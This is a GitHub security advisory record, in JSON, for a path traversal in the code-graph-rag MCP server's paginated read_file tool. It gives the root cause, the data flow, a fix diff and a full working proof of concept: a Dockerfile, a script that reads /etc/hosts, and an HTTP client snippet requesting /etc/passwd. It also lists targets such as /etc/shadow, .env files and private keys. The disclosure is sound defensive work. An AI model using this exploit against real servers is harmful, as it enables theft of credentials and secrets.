{"id":"GHSA-vvr2-h2jp-838m","summary":"Code Graph RAG: MCP paginated read_file path traversal / arbitrary file read","details":"### Summary\n\nThe `read_file` MCP tool in `codebase_rag/mcp/tools.py` contains a path traversal vulnerability in its paginated branch (when `offset` or `limit` is supplied). The handler constructs a file path using `Path(self.project_root) / file_path` without subsequently validating that the resolved path remains within the configured project root. Python's `pathlib` silently discards the left-hand component when the right-hand argument is an absolute path, allowing an attacker to read any UTF-8-readable file on the server by passing an absolute path such as `/etc/passwd`. \n\n### Details\n\n**Vulnerable location:** `codebase_rag/mcp/tools.py:556–565` (`MCPToolsRegistry.read_file`)\n\nThe `read_file` MCP tool accepts three parameters: `file_path`, `offset`, and `limit`. When either `offset` or `limit` is present the handler takes a distinct code path:\n\n```python\n# codebase_rag/mcp/tools.py:556-565\nasync def read_file(\n    self, file_path: str, offset: int | None = None, limit: int | None = None\n) -\u003e str:\n    logger.info(lg.MCP_READ_FILE.format(path=file_path, offset=offset, limit=limit))\n    try:\n        if offset is not None or limit is not None:\n            full_path = Path(self.project_root) / file_path   # ← VULNERABLE LINE\n            start = offset if offset is not None else 0\n\n            with open(full_path, encoding=cs.ENCODING_UTF8) as f:   # ← SINK\n```\n\nBecause `pathlib.Path.__truediv__` replaces the left operand entirely when the right operand is an absolute path, any caller-supplied absolute path (e.g., `/etc/passwd`, `/proc/self/environ`) causes `full_path` to point outside the project root.\n\nThe **non-paginated** branch is protected by the `@validate_project_path` decorator (applied via `codebase_rag/tools/file_reader.py:27`) which performs `.resolve().relative_to(project_root)` (`codebase_rag/decorators.py:73–75`), but this decorator is never invoked in the paginated branch, leaving it completely unguarded.\n\n**Full data-flow (source → sink):**\n\n1. `codebase_rag/config.py:302` — HTTP MCP default host is `0.0.0.0`.\n2. `codebase_rag/cli.py:717` — CLI exposes `mcp-server`.\n3. `codebase_rag/cli.py:726–731` — `--transport http` invokes `serve_http(host=resolved_host, port=resolved_port)`.\n4. `codebase_rag/mcp/server.py:208–210` — Starlette mounts the MCP HTTP endpoint.\n5. `codebase_rag/mcp/tools.py:227–249` — `read_file` is registered as an MCP tool accepting attacker-controlled `file_path`, `offset`, and `limit`.\n6. `codebase_rag/mcp/server.py:113–127` — `call_tool` dispatches JSON arguments directly to the handler via `await handler(**arguments)`.\n7. `codebase_rag/mcp/tools.py:561–565` — paginated branch builds `full_path` and calls `open(full_path)` without any boundary check.\n\nThe vulnerability is also present when using the `stdio` transport because the vulnerable code path does not depend on transport type; however, the attack is unauthenticated and network-accessible only when HTTP transport is configured.\n\n### PoC\n\n**Prerequisites:**\n\n- Docker installed.\n- Repository cloned with the `vuln-001/` artifacts present (Dockerfile, poc.py).\n\n**Build and run:**\n\n```bash\n# From the repository root (parent of vuln-001/)\ndocker build -t vuln001-poc -f vuln-001/Dockerfile .\ndocker run --rm vuln001-poc\n```\n\nThe Dockerfile installs the `codebase_rag` package from the local repository source, creates a \"safe\" project root at `/tmp/safe-project-root`, and runs `poc.py`.\n\n**What the PoC does (`poc.py`):**\n\n1. Pre-mocks the `mgclient` / `pymgclient` native C extensions (Memgraph client) so the package imports without a live database.\n2. Instantiates `MCPToolsRegistry` via `object.__new__()`, setting only `self.project_root = \"/tmp/safe-project-root\"` — matching what the real server does.\n3. Demonstrates the pathlib bypass: `Path(\"/tmp/safe-project-root\") / \"/etc/hosts\"` resolves to `Path(\"/etc/hosts\")`.\n4. Calls `registry.read_file(\"/etc/hosts\", offset=0, limit=5)` — the actual vulnerable method from the installed package.\n5. Asserts that real `/etc/hosts` content is returned, confirming full boundary bypass.\n\n**Expected output:**\n\n```\n[MCP] read_file: /etc/hosts (offset=0, limit=5)\n[+] CONFIRMED: pathlib discards project_root when file_path is absolute\n[+] read_file() returned:\n# Lines 1-5 of 7\n127.0.0.1\tlocalhost\n::1\tlocalhost ip6-localhost ip6-loopback\nfe00::\tip6-localnet\nff00::\tip6-mcastprefix\nff02::1\tip6-allnodes\n[+] EXPLOIT SUCCESSFUL\n[+] Content of '/etc/hosts' exfiltrated via path traversal\n[+] Project root boundary '/tmp/safe-project-root' was completely bypassed\n[+] VULNERABILITY CONFIRMED: VULN-001 CWE-22 Path Traversal\n```\n\n**Equivalent HTTP transport attack (when server is running):**\n\n```bash\npython3 - \u003c\u003c'PY'\nimport anyio\nfrom mcp import ClientSession\nfrom mcp.client.streamable_http import streamablehttp_client\n\nasync def main():\n    async with streamablehttp_client(\"http://127.0.0.1:8080/mcp\") as (read, write, _):\n        async with ClientSession(read, write) as session:\n            await session.initialize()\n            result = await session.call_tool(\n                \"read_file\",\n                {\"file_path\": \"/etc/passwd\", \"offset\": 0, \"limit\": 10},\n            )\n            print(result.content[0].text)\n\nanyio.run(main)\nPY\n```\n\n**Remediation:**\n\n```diff\n--- a/codebase_rag/mcp/tools.py\n+++ b/codebase_rag/mcp/tools.py\n@@\n     async def read_file(\n         self, file_path: str, offset: int | None = None, limit: int | None = None\n     ) -\u003e str:\n         logger.info(lg.MCP_READ_FILE.format(path=file_path, offset=offset, limit=limit))\n         try:\n             if offset is not None or limit is not None:\n-                full_path = Path(self.project_root) / file_path\n+                project_root = Path(self.project_root).resolve()\n+                try:\n+                    full_path = (project_root / file_path).resolve()\n+                    full_path.relative_to(project_root)\n+                except (ValueError, RuntimeError):\n+                    return te.ERROR_WRAPPER.format(\n+                        message=lg.FILE_OUTSIDE_ROOT.format(action=\"access\")\n+                    )\n                 start = offset if offset is not None else 0\n\n                 with open(full_path, encoding=cs.ENCODING_UTF8) as f:\n```\n\n### Impact\n\nThis is a **path traversal / arbitrary file read** vulnerability. Any network-accessible instance of the MCP HTTP server is impacted; no authentication is required in the default configuration.\n\nAn unauthenticated remote attacker can read any file on the server filesystem that is readable by the process running `cgr mcp-server`. Exploitable targets include:\n\n- `/etc/passwd`, `/etc/shadow` — credential disclosure.\n- Application secrets, API keys, `.env` files, or private keys stored anywhere on the host.\n- Source code or configuration outside the intended project repository.\n- Cloud instance metadata endpoints reachable via the local file path (e.g., `/proc/self/environ` for environment variable leakage).\n\nThe vulnerability is particularly severe because the HTTP transport binds to `0.0.0.0:8080` by default (`codebase_rag/config.py:302`), exposing the server to the network without any authentication requirement in the default configuration.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM python:3.12-slim\n\n# Install build tools needed for some dependencies\nRUN apt-get update && apt-get install -y --no-install-recommends \\\n        gcc build-essential \\\n    && rm -rf /var/lib/apt/lists/*\n\nWORKDIR /app\n\n# Copy the vulnerable repository source\nCOPY repo/ /app/repo/\n\n# Install pure-Python dependencies (pymgclient is a native Memgraph client that\n# requires a live Memgraph instance; we mock it in the PoC script instead)\nRUN pip install --upgrade pip --quiet && \\\n    pip install --quiet \\\n        loguru \\\n        \"mcp\u003e=1.25.0\" \\\n        \"pydantic-ai\u003e=1.102.0\" \\\n        \"pydantic-settings\u003e=2.12.0\" \\\n        \"python-dotenv\u003e=1.2.1\" \\\n        \"tiktoken\u003e=0.12.0\" \\\n        \"toml\u003e=0.10.2\" \\\n        \"tree-sitter==0.25.2\" \\\n        \"tree-sitter-python\u003e=0.25.0\" \\\n        \"watchdog\u003e=6.0.0\" \\\n        \"typer\u003e=0.21.1\" \\\n        \"rich\u003e=14.2.0\" \\\n        \"prompt-toolkit\u003e=3.0.52\" \\\n        \"diff-match-patch\u003e=20241021\" \\\n        \"click\u003e=8.3.1\" \\\n        \"protobuf\u003e=6.33.5\" \\\n        \"defusedxml\u003e=0.7.1\" \\\n        \"huggingface-hub\u003e=1.7.2\" \\\n        \"pathspec\u003e=1.0.4\" \\\n        \"griffe\u003e=1.0,\u003c2\" \\\n        httpx \\\n        anyio\n\n# Install the codebase_rag package from the cloned repo.\n# --no-deps skips pymgclient and tree-sitter grammar forks that are uv-specific;\n# all other runtime deps were already installed above.\nRUN pip install --no-deps --quiet -e /app/repo/\n\n# Create the \"safe\" project root that the victim server would normally restrict to\nRUN mkdir -p /tmp/safe-project-root && \\\n    echo \"# This is a safe project file\" \u003e /tmp/safe-project-root/README.md\n\nCOPY vuln-001/poc.py /app/poc.py\n\nCMD [\"python3\", \"/app/poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-001: MCP paginated read_file path traversal / arbitrary file read\n=============================================================================\nRepository : vitali87/code-graph-rag\nVersion    : \u003c= 0.0.343 (unpatched at HEAD commit f5d6bfd)\n\nVulnerable code location:\n    codebase_rag/mcp/tools.py  lines 561-565 (MCPToolsRegistry.read_file)\n\nRoot cause:\n    When 'offset' or 'limit' is provided, the method builds the path as:\n        full_path = Path(self.project_root) / file_path          # line 562\n    Python's pathlib discards 'project_root' when 'file_path' is an absolute path.\n    The non-paginated branch is protected by @validate_project_path, but this branch\n    has no such guard, so any absolute path is opened unconditionally.\n\nAttack path (HTTP transport):\n    MCP client  -\u003e  POST /mcp  -\u003e  call_tool(\"read_file\", {\"file_path\": \"/etc/hosts\",\n                                               \"offset\": 0, \"limit\": 5})\n    -\u003e MCPToolsRegistry.read_file(\"/etc/hosts\", offset=0, limit=5)\n    -\u003e full_path = Path(\"/safe/root\") / \"/etc/hosts\"  ==\u003e  Path(\"/etc/hosts\")\n    -\u003e open(\"/etc/hosts\")  # no boundary check, file content returned\n\nThis PoC exercises the actual MCPToolsRegistry.read_file() method from the\ninstalled package.  The Memgraph client (mgclient) is pre-mocked in sys.modules\nbecause it is a native C extension that requires a live database; it is NOT used\nby the vulnerable code path.  The MCPToolsRegistry instance is created via\nobject.__new__() to skip the __init__ that would connect to Memgraph -- the\npaginated read_file branch only reads self.project_root, nothing else.\n\"\"\"\n\nimport asyncio\nimport sys\nfrom pathlib import Path\nfrom unittest.mock import MagicMock\n\n# ---------------------------------------------------------------------------\n# Step 1: Pre-mock native dependencies that are irrelevant to the vuln path\n# ---------------------------------------------------------------------------\n# mgclient is a C extension (Memgraph client).  It is imported at the top of\n# codebase_rag/services/graph_service.py.  Inserting a MagicMock lets the\n# module import succeed without a native library or a live Memgraph server.\nsys.modules[\"mgclient\"] = MagicMock()\nsys.modules[\"pymgclient\"] = MagicMock()\n\n# ---------------------------------------------------------------------------\n# Step 2: Import the vulnerable class from the installed package\n# ---------------------------------------------------------------------------\nprint(\"[*] Importing MCPToolsRegistry from installed codebase_rag package ...\")\ntry:\n    from codebase_rag.mcp.tools import MCPToolsRegistry\nexcept Exception as exc:\n    print(f\"[!] Import failed: {exc}\")\n    sys.exit(2)\nprint(\"[+] Import successful\\n\")\n\n# ---------------------------------------------------------------------------\n# Step 3: Build a minimal MCPToolsRegistry instance (bypassing __init__)\n# ---------------------------------------------------------------------------\n# __init__ connects to Memgraph and Qdrant -- neither is available here.\n# The paginated read_file branch uses ONLY self.project_root, so setting\n# just that attribute is sufficient to reproduce the vulnerability.\nSAFE_ROOT = \"/tmp/safe-project-root\"\n\nregistry = object.__new__(MCPToolsRegistry)\nregistry.project_root = SAFE_ROOT\n\nprint(f\"[*] MCPToolsRegistry instance created via object.__new__()\")\nprint(f\"[*] project_root = {SAFE_ROOT!r}\")\nprint()\n\n# ---------------------------------------------------------------------------\n# Step 4: Demonstrate the pathlib absolute-path bypass\n# ---------------------------------------------------------------------------\nATTACK_PATH = \"/etc/hosts\"\n\njoined = Path(SAFE_ROOT) / ATTACK_PATH\nprint(\"[*] Pathlib join behaviour (the root cause):\")\nprint(f\"    Path({SAFE_ROOT!r}) / {ATTACK_PATH!r}\")\nprint(f\"    =\u003e {joined}\")\nprint(f\"    Expected (safe) path: {SAFE_ROOT + ATTACK_PATH}\")\n\nassert str(joined) == ATTACK_PATH, (\n    f\"Unexpected pathlib behaviour: expected {ATTACK_PATH!r}, got {joined!r}\"\n)\nprint(\"[+] CONFIRMED: pathlib discards project_root when file_path is absolute\\n\")\n\n# ---------------------------------------------------------------------------\n# Step 5: Call the actual vulnerable method\n# ---------------------------------------------------------------------------\nprint(f\"[*] Calling registry.read_file({ATTACK_PATH!r}, offset=0, limit=5)\")\nprint(f\"[*] Executing vulnerable line: full_path = Path(self.project_root) / file_path\")\nprint(f\"[*] Resulting full_path       = {joined}\")\nprint()\n\n\nasync def run_poc() -\u003e str:\n    return await registry.read_file(ATTACK_PATH, offset=0, limit=5)\n\n\nresult = asyncio.run(run_poc())\n\nprint(\"[+] read_file() returned:\")\nprint(\"-\" * 60)\nprint(result)\nprint(\"-\" * 60)\nprint()\n\n# ---------------------------------------------------------------------------\n# Step 6: Validate the output contains real /etc/hosts content\n# ---------------------------------------------------------------------------\nwith open(ATTACK_PATH) as fh:\n    actual_hosts = fh.read()\n\n# Accept any of: pagination header, loopback address, or raw /etc/hosts lines\nconfirmed = (\n    \"Lines \" in result                             # pagination header present\n    or \"127.0.0.1\" in result                       # standard loopback entry\n    or \"localhost\" in result                        # standard hostname entry\n    or \"::1\" in result                             # IPv6 loopback\n    or any(\n        line.strip() in result\n        for line in actual_hosts.splitlines()\n        if line.strip() and not line.startswith(\"#\")\n    )\n)\n\nif confirmed:\n    print(\"[+] EXPLOIT SUCCESSFUL\")\n    print(f\"[+] Content of '{ATTACK_PATH}' exfiltrated via path traversal\")\n    print(f\"[+] Project root boundary '{SAFE_ROOT}' was completely bypassed\")\n    print()\n    print(\"[+] VULNERABILITY CONFIRMED: VULN-001 CWE-22 Path Traversal\")\n    sys.exit(0)\nelse:\n    print(\"[-] Validation failed -- could not find /etc/hosts content in result\")\n    print(f\"[-] Returned value: {result!r}\")\n    sys.exit(1)\n```","aliases":["CVE-2026-77604"],"modified":"2026-11-09T21:45:11.099243270Z","published":"2026-11-09T21:21:32Z","database_specific":{"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-11-09T21:21:32Z","nvd_published_at":"2026-11-05T20:18:00Z","cwe_ids":["CWE-22"]},"references":[{"type":"WEB","url":"https://github.com/vitali87/code-graph-rag/security/advisories/GHSA-vvr2-h2jp-838m"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-77604"},{"type":"WEB","url":"https://github.com/vitali87/code-graph-rag/commit/6541e920a27961fa8f3ff49ef38c0e0bd09cd626"},{"type":"PACKAGE","url":"https://github.com/vitali87/code-graph-rag"},{"type":"WEB","url":"https://github.com/vitali87/code-graph-rag/releases/tag/v0.0.345"}],"affected":[{"package":{"name":"code-graph-rag","ecosystem":"PyPI","purl":"pkg:pypi/code-graph-rag"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.345"}]}],"versions":["0.0.100","0.0.148","0.0.187","0.0.209","0.0.245","0.0.246","0.0.79","0.0.84","0.0.88","0.0.99"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-vvr2-h2jp-838m/GHSA-vvr2-h2jp-838m.json"}}],"schema_version":"1.9.2","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"}]}